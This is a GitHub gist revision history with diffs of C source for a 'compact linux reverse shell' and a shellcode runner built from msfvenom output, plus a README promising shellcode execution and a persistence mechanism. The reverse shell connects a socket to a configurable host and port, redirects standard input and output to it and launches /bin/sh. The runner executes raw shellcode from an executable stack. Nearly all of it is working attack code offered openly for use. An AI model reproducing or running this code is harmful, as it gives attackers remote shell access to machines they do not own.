Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save CerebralMischief/c564cd02fdb79b83674bcfee81c1c4de to your computer and use it in GitHub Desktop.

Select an option

Save CerebralMischief/c564cd02fdb79b83674bcfee81c1c4de to your computer and use it in GitHub Desktop.

Revisions

  1. @loneicewolf loneicewolf revised this gist Aug 9, 2022. 2 changed files with 1 addition and 4 deletions.
    3 changes: 0 additions & 3 deletions shellcode_addon.c
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,5 @@
    // some opts not abs. nec. but including for future ref. keeping.
    // gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie -g

    // msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1
    // [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    // [-] No arch selected, selecting arch: x64 from the payload
    @@ -13,10 +12,8 @@
    // "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58"
    // "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";
    // //

    #include <stdio.h>
    #include <unistd.h>

    int main(){
    unsigned char sh_1[] =
    "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
    2 changes: 1 addition & 1 deletion shellcode_addon_2.c
    Original file line number Diff line number Diff line change
    @@ -1 +1 @@
    coming soon own encoder
    coming soon own encoder
  2. @loneicewolf loneicewolf revised this gist Jul 17, 2022. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions shellcode_addon_2.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    coming soon own encoder
  3. @loneicewolf loneicewolf revised this gist Jul 16, 2022. 2 changed files with 5 additions and 6 deletions.
    6 changes: 2 additions & 4 deletions compact_linux_reverse_shell.c
    Original file line number Diff line number Diff line change
    @@ -1,9 +1,7 @@
    // gcc -o L1 lin_1.c

    // gcc -g -o L1 lin_1.c
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <unistd.h>

    #define RP 1234
    #define RH "127.0.0.1"
    #define BIN "/bin/sh"
    @@ -17,4 +15,4 @@ connect( is,(struct sockaddr *) &s1,sizeof(s1));
    for(int i=0;i<3;dup2(is,i),i++);
    char * const argv[] = {BIN,NULL};
    execve(BIN, argv, NULL);
    return 0;}
    return 0;}
    5 changes: 3 additions & 2 deletions shellcode_addon.c
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,6 @@
    // gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie -g
    // //
    // some opts not abs. nec. but including for future ref. keeping.
    // gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie -g

    // msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1
    // [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    // [-] No arch selected, selecting arch: x64 from the payload
  4. @loneicewolf loneicewolf revised this gist Jul 13, 2022. 2 changed files with 30 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions compact_linux_reverse_shell.c
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,5 @@
    // gcc -o L1 lin_1.c

    #include <arpa/inet.h>
    #include <stdio.h>
    #include <unistd.h>
    28 changes: 28 additions & 0 deletions shellcode_addon.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,28 @@
    // gcc lin_1.c -o L1 -fno-stack-protector -z execstack -no-pie -g
    // //
    // msfvenom -p linux/x64/exec cmd="echo ABC \&\& echo XYZ" -f c -v sh_1
    // [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    // [-] No arch selected, selecting arch: x64 from the payload
    // No encoder specified, outputting raw payload
    // Payload size: 57 bytes
    // Final size of c file: 265 bytes
    // unsigned char sh_1[] =
    // "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
    // "\x66\x68\x2d\x63\x54\x5e\x52\xe8\x15\x00\x00\x00\x65\x63\x68"
    // "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58"
    // "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";
    // //

    #include <stdio.h>
    #include <unistd.h>

    int main(){
    unsigned char sh_1[] =
    "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52"
    "\x66\x68\x2d\x63\x54\x5e\x52\xe8\x15\x00\x00\x00\x65\x63\x68"
    "\x6f\x20\x41\x42\x43\x20\x26\x26\x20\x65\x63\x68\x6f\x20\x58"
    "\x59\x5a\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05";
    // (*(void(*)())XXX)();
    (*(void(*)())sh_1)();
    return 0;
    }
  5. @loneicewolf loneicewolf revised this gist Jul 13, 2022. 1 changed file with 0 additions and 3 deletions.
    3 changes: 0 additions & 3 deletions compact_linux_reverse_shell.c
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,3 @@
    // MODIFIED A BIT; check for github latest version please!
    // might be errors!

    #include <arpa/inet.h>
    #include <stdio.h>
    #include <unistd.h>
  6. @loneicewolf loneicewolf revised this gist Jul 12, 2022. 1 changed file with 4 additions and 3 deletions.
    7 changes: 4 additions & 3 deletions compact_linux_reverse_shell.c
    Original file line number Diff line number Diff line change
    @@ -1,8 +1,10 @@
    // MODIFIED A BIT; check for github latest version please!
    // might be errors!

    ```
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <arpa/inet.h>

    #define RP 1234
    #define RH "127.0.0.1"
    #define BIN "/bin/sh"
    @@ -17,4 +19,3 @@ for(int i=0;i<3;dup2(is,i),i++);
    char * const argv[] = {BIN,NULL};
    execve(BIN, argv, NULL);
    return 0;}
    ```
  7. @loneicewolf loneicewolf renamed this gist Jul 12, 2022. 1 changed file with 0 additions and 0 deletions.
  8. @loneicewolf loneicewolf revised this gist Jul 12, 2022. 1 changed file with 0 additions and 13 deletions.
    13 changes: 0 additions & 13 deletions compact_linux_reverse_shell.MD
    Original file line number Diff line number Diff line change
    @@ -1,17 +1,4 @@
    # compact_linux_reverse_shell
    A compact linux reverse shell written in the C programming language.

    `note I haven't bothered yet to implement this in windows; if someone wants that open a issue(no need to pull) and tell me that; or request it via discord; and it should get done in a few days`

    obviously you can do a pull if thats what you want :)


    ### upcoming changes:
    - adding shellcode execution (with a short & neat guide how to get shellcode without using radare2 or the classical ghidra or metasploit utils)
    - persistence mechanism


    https://gist.github.com/loneicewolf/8232aad5722e1e7de9d92932b5a01597
    ```
    #include <stdio.h>
    #include <unistd.h>
  9. @loneicewolf loneicewolf revised this gist Jul 12, 2022. 2 changed files with 33 additions and 17 deletions.
    33 changes: 33 additions & 0 deletions compact_linux_reverse_shell.MD
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,33 @@
    # compact_linux_reverse_shell
    A compact linux reverse shell written in the C programming language.

    `note I haven't bothered yet to implement this in windows; if someone wants that open a issue(no need to pull) and tell me that; or request it via discord; and it should get done in a few days`

    obviously you can do a pull if thats what you want :)


    ### upcoming changes:
    - adding shellcode execution (with a short & neat guide how to get shellcode without using radare2 or the classical ghidra or metasploit utils)
    - persistence mechanism


    https://gist.github.com/loneicewolf/8232aad5722e1e7de9d92932b5a01597
    ```
    #include <stdio.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #define RP 1234
    #define RH "127.0.0.1"
    #define BIN "/bin/sh"
    int main(){
    int is = 0;is = socket(AF_INET,SOCK_STREAM,0);
    struct sockaddr_in s1;
    s1.sin_family = AF_INET;
    s1.sin_port = htons(RP);
    s1.sin_addr.s_addr = inet_addr(RH);
    connect( is,(struct sockaddr *) &s1,sizeof(s1));
    for(int i=0;i<3;dup2(is,i),i++);
    char * const argv[] = {BIN,NULL};
    execve(BIN, argv, NULL);
    return 0;}
    ```
    17 changes: 0 additions & 17 deletions compact_linux_reverse_shell.c
    Original file line number Diff line number Diff line change
    @@ -1,17 +0,0 @@
    #include <stdio.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #define RP 1234
    #define RH "127.0.0.1"
    #define BIN "/bin/sh"
    int main(){
    int is = 0;is = socket(AF_INET,SOCK_STREAM,0);
    struct sockaddr_in s1;
    s1.sin_family = AF_INET;
    s1.sin_port = htons(RP);
    s1.sin_addr.s_addr = inet_addr(RH);
    connect( is,(struct sockaddr *) &s1,sizeof(s1));
    for(int i=0;i<3;dup2(is,i),i++);
    char * const argv[] = {BIN,NULL};
    execve(BIN, argv, NULL);
    return 0;}
  10. @loneicewolf loneicewolf created this gist Jan 10, 2022.
    17 changes: 17 additions & 0 deletions compact_linux_reverse_shell.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,17 @@
    #include <stdio.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #define RP 1234
    #define RH "127.0.0.1"
    #define BIN "/bin/sh"
    int main(){
    int is = 0;is = socket(AF_INET,SOCK_STREAM,0);
    struct sockaddr_in s1;
    s1.sin_family = AF_INET;
    s1.sin_port = htons(RP);
    s1.sin_addr.s_addr = inet_addr(RH);
    connect( is,(struct sockaddr *) &s1,sizeof(s1));
    for(int i=0;i<3;dup2(is,i),i++);
    char * const argv[] = {BIN,NULL};
    execve(BIN, argv, NULL);
    return 0;}